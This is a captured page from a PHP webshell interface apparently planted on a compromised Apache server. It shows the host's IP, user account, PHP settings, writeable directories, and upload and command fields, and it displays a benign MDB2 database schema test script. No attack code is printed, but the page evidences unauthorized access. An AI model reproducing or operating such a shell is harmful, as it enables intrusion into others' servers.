403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.236
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/php7.3/test/MDB2/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/php7.3/test/MDB2/tests/import.schema.php
<?php
require_once 'MDB2/Schema.php';

$dsn = array(
    'phptype'  => 'mysql',
    'username' => 'username',
    'password' => 'password',
    'hostspec' => 'host',
);
$db_options = array();


$file = dirname(__FILE__).DIRECTORY_SEPARATOR.'driver_test.schema.xml';
$variables = array(
    'name'   => 'driver_test',
    'create' => true,
);

$options = array(
    'log_line_break'   => '<br />',
    'idxname_format'   => '%s',
    'debug'            => true,
    'quote_identifier' => true,
    'force_defaults'   => false,
    'portability'      => false
);
$options = array_merge($options, $db_options);

$schema =& MDB2_Schema::factory($dsn, $options);
if (PEAR::isError($schema)) {
    echo $schema->getMessage() . ' ' . $schema->getUserInfo();
    exit;
}

$definition = $schema->parseDatabaseDefinitionFile($file, $variables, true, true);
if (PEAR::isError($definition)) {
    echo $definition->getMessage() . ' - ' . $definition->getUserInfo();
} else {
    $operation = $schema->createDatabase($definition);
    if (PEAR::isError($operation)) {
        echo $operation->getMessage() . ' ' . $operation->getUserInfo();
    }
}
?>
DONE!

Youez - 2016 - github.com/yon3zu
LinuXploit